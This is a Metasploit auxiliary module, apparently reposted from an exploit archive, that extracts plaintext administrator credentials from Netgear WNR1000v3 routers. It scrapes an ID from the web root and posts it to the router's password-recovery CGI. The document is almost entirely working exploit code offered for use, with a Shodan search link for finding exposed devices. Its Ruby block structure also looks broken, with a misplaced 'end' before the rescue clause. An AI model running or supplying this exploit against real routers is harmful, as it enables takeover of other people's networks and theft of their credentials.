Netgear WNR1000v3 - Password Recovery Credential Disclosure Vulnerability

Bài liên quan

#

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

#

# Exploit Title: Netgear WNR1000v3 Password Recovery Credential Disclosure Vulnerability

# Date: 7-5-14

# Exploit Author: c1ph04

# Vendor Homepage: http://www.netgear.com/

# Version: 1.0

# Tested on: Netgear WNR1000v3 Router Version: <= 1.0.2.62_60.0.87

 

require 'msf/core'

 

class Metasploit3 < Msf::Auxiliary

 

  include Msf::Exploit::Remote::HttpClient

 

  def initialize

    super(

 

      'Name'        => 'Netgear WNR1000v3 Password Extractor',

 

      'Description' => %q{

          This module exploits a vulnerability in the password recovery feature of certain Netgear WNR1000v3 routers.

          Affected devices will allow retrieval of the plaintext administrator credentials.

          Vulnerable Versions: <= 1.0.2.62_60.0.87

       },

 

      'References'  =>

        [

          [ 'URL', 'http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html' ],

          [ 'URL', 'http://packetstormsecurity.com/files/124759/NETGEAR-WNR1000v3-Password-Disclosure.html' ],

          [ 'URL', 'http://secunia.com/community/advisories/56330' ],

          [ 'URL', 'http://www.shodanhq.com/search?q=WNR1000v3' ]

        ],

 

      'Author'      =>

        [

          'c1ph04 <c1ph04mail[at]gmail.com>' # aka - "Ms. Difrank"...idiots

        ],

      'License'     => MSF_LICENSE

    )

  end

 

  def run

 

    print_status("#{rhost}:#{rport} - Attempting to extract credentials...")

 

    begin

 

      res = send_request_raw({

        'uri' => '/',

        'method' => 'GET'

        })

 

      if (res.body =~ /(id)/)

        uid = res.body.scan(/\d{5,15}/)

        uid = uid[0]

        print_good("#{rhost}:#{rport} - UID Retrieved: #{uid}")

        print_good("#{rhost}:#{rport} - Sending Request...")

 

      else

        print_error("Unexpected response...is this a Netgear Router?")

        return

 

      end

 

      res2 = send_request_raw({

        'uri' => "/passwordrecovered.cgi?id=#{uid}",

        'method' => 'POST'

        })

 

        if (res2.body =~ /(successfully)/)

          creds = res2.body.scan(/left">(.*)</)

          user = creds[0]

          pass = creds[1]

          print_good("#{rhost}:#{rport} - Username: #{user}")

          print_good("#{rhost}:#{rport} - Password: #{pass}")

 

        else

          print_error("#{rhost}:#{rport} - Failed: Target Not Vulnerable")

 

        end

       end

      end

 

    rescue ::Rex::ConnectionError

      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")

      return

 

    end